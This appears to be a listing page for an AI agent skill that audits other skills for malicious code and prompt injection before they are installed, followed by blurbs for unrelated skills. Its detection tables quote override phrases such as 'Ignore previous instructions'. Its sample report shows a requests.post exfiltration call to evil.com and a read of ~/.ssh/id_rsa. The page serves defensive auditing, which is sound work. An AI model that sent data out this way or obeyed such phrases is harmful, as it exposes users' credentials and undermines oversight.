engineering/skills/skill-security-auditor/SKILL.md
Security audit and vulnerability scanner for AI agent skills before installation. Use when: (1) evaluating a skill from an untrusted source, (2) auditing a skill directory or git repo URL for malicious code, (3) pre-install security gate for Claude Code plugins, OpenClaw skills, or Codex skills, (4) scanning Python scripts for dangerous patterns like os.system, eval, subprocess, network exfiltration, (5) detecting prompt injection in SKILL.md files, (6) checking dependency supply chain risks, (7) verifying file system access stays within skill boundaries. Triggers: "audit this skill", "is this skill safe", "scan skill for security", "check skill before install", "skill security check", "skill vulnerability scan".
npx skillsauth add alirezarezvani/claude-skills skill-security-auditorInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Scan and audit AI agent skills for security risks before installation. Produces a clear PASS / WARN / FAIL verdict with findings and remediation guidance.
# Audit a local skill directory
python3 scripts/skill_security_auditor.py /path/to/skill-name/
# Audit a skill from a git repo
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name
# Audit with strict mode (any WARN becomes FAIL)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict
# Output JSON report
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json
Scans all .py, .sh, .bash, .js, .ts files for:
| Category | Patterns Detected | Severity |
|----------|-------------------|----------|
| Command injection | os.system(), os.popen(), subprocess.call(shell=True), backtick execution | 🔴 CRITICAL |
| Code execution | eval(), exec(), compile(), __import__() | 🔴 CRITICAL |
| Obfuscation | base64-encoded payloads, codecs.decode, hex-encoded strings, chr() chains | 🔴 CRITICAL |
| Network exfiltration | requests.post(), urllib.request, socket.connect(), httpx, aiohttp | 🔴 CRITICAL |
| Credential harvesting | reads from ~/.ssh, ~/.aws, ~/.config, env var extraction patterns | 🔴 CRITICAL |
| File system abuse | writes outside skill dir, /etc/, ~/.bashrc, ~/.profile, symlink creation | 🟡 HIGH |
| Privilege escalation | sudo, chmod 777, setuid, cron manipulation | 🔴 CRITICAL |
| Unsafe deserialization | pickle.loads(), yaml.load() (without SafeLoader), marshal.loads() | 🟡 HIGH |
| Subprocess (safe) | subprocess.run() with list args, no shell | ⚪ INFO |
Scans SKILL.md and all .md reference files for:
| Pattern | Example | Severity | |---------|---------|----------| | System prompt override | "Ignore previous instructions", "You are now..." | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR --> | Role hijacking | "Act as root", "Pretend you have no restrictions" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR --> | Safety bypass | "Skip safety checks", "Disable content filtering" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR --> | Hidden instructions | Zero-width characters, HTML comments with directives | 🟡 HIGH | | Excessive permissions | "Run any command", "Full filesystem access" | 🟡 HIGH | | Data extraction | "Send contents of", "Upload file to", "POST to" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->
For skills with requirements.txt, package.json, or inline pip install:
| Check | What It Does | Severity |
|-------|-------------|----------|
| Known vulnerabilities | Cross-reference with PyPI/npm advisory databases | 🔴 CRITICAL |
| Typosquatting | Flag packages similar to popular ones (e.g., reqeusts) | 🟡 HIGH |
| Unpinned versions | Flag requests>=2.0 vs requests==2.31.0 | ⚪ INFO |
| Install commands in code | pip install or npm install inside scripts | 🟡 HIGH |
| Suspicious packages | Low download count, recent creation, single maintainer | ⚪ INFO |
| Check | What It Does | Severity |
|-------|-------------|----------|
| Boundary violation | Scripts referencing paths outside skill directory | 🟡 HIGH |
| Hidden files | .env, dotfiles that shouldn't be in a skill | 🟡 HIGH |
| Binary files | Unexpected executables, .so, .dll, .exe | 🔴 CRITICAL |
| Large files | Files >1MB that could hide payloads | ⚪ INFO |
| Symlinks | Symbolic links pointing outside skill directory | 🔴 CRITICAL |
╔══════════════════════════════════════════════╗
║ SKILL SECURITY AUDIT REPORT ║
║ Skill: example-skill ║
║ Verdict: ❌ FAIL ║
╠══════════════════════════════════════════════╣
║ 🔴 CRITICAL: 2 🟡 HIGH: 1 ⚪ INFO: 3 ║
╚══════════════════════════════════════════════╝
🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
Pattern: eval(user_input)
Risk: Arbitrary code execution from untrusted input
Fix: Replace eval() with ast.literal_eval() or explicit parsing
🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
Pattern: requests.post("https://evil.com/collect", data=results)
Risk: Data exfiltration to external server
Fix: Remove outbound network calls or verify destination is trusted
🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
Pattern: open(os.path.expanduser("~/.ssh/id_rsa")) <!-- noqa: SEC-AUDITOR -->
Risk: Reads SSH private key outside skill scope
Fix: Remove filesystem access outside skill directory
⚪ INFO [DEPS-UNPIN] requirements.txt:3
Pattern: requests>=2.0
Risk: Unpinned dependency may introduce vulnerabilities
Fix: Pin to specific version: requests==2.31.0
# Clone to temp dir, audit, then clean up
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup
# GitHub Actions step
- name: "audit-skill-security"
run: |
python3 skill-security-auditor/scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi
# Audit all skills in a directory
for skill in skills/*/; do
python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done
For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see references/threat-model.md.
When in doubt after an audit, don't install. Ask the skill author for clarification.
tools
Code review automation for TypeScript, JavaScript, Python, Go, Swift, Kotlin, C#, .NET, Java, C, C++, Rust, Ruby, PHP, and Dart/Flutter. Analyzes PRs for complexity and risk, checks code quality for SOLID violations and code smells, generates review reports. Use when reviewing pull requests, analyzing code quality, identifying issues, generating review checklists.
tools
Use when planning, funding, scoping, or synthesizing enterprise research across workstreams — clinical study design, R&D program finance, market sizing/surveys, or product/user research. Triggers on "design this clinical study", "what sample size", "R&D budget", "burn rate", "capitalize or expense", "TAM SAM SOM", "market sizing", "survey design", "segment the market", "plan user interviews", "usability test", "synthesize research insights". Forks context to route to one of four Research-Operations sub-skills (clinical-research, research-finance, market-research, product-research) and returns a digest. Distinct from ra-qm-team (regulatory submission), finance (corporate close/valuation), research/grants (funding discovery), product-team (persona/journey/live experiments), and marketing-skill (campaign analytics).
development
Use when managing the money for an internal R&D program or portfolio — building a multi-period program budget with the F&A (indirect) split, tracking burn rate and runway against value-inflection milestones, or routing R&D cost items to a capitalize-vs-expense determination. Every budget output surfaces its assumptions block; capitalize-vs-expense is decision-support only and routes to a named finance owner — it never books an entry or decides accounting treatment. Distinct from finance/financial-analysis (corporate DCF, close, valuation) and research/grants (funding discovery — this manages money already won).
development
Use when planning and synthesizing product/user research as a method-and-repository discipline — selecting the right method for the goal (generative interviews vs usability test vs concept test vs validation), computing method-based saturation/sample size with an explicit confidence level, or synthesizing coded observations into insights while flagging single-source anecdotes. Never fabricates user insight; an insight requires recurrence across independent participants. Distinct from product-team/ux-researcher-designer (persona/journey artifacts), product-discovery (discovery-sprint planning), and experiment-designer (live A/B) — this is the research-ops method + insight-repository layer.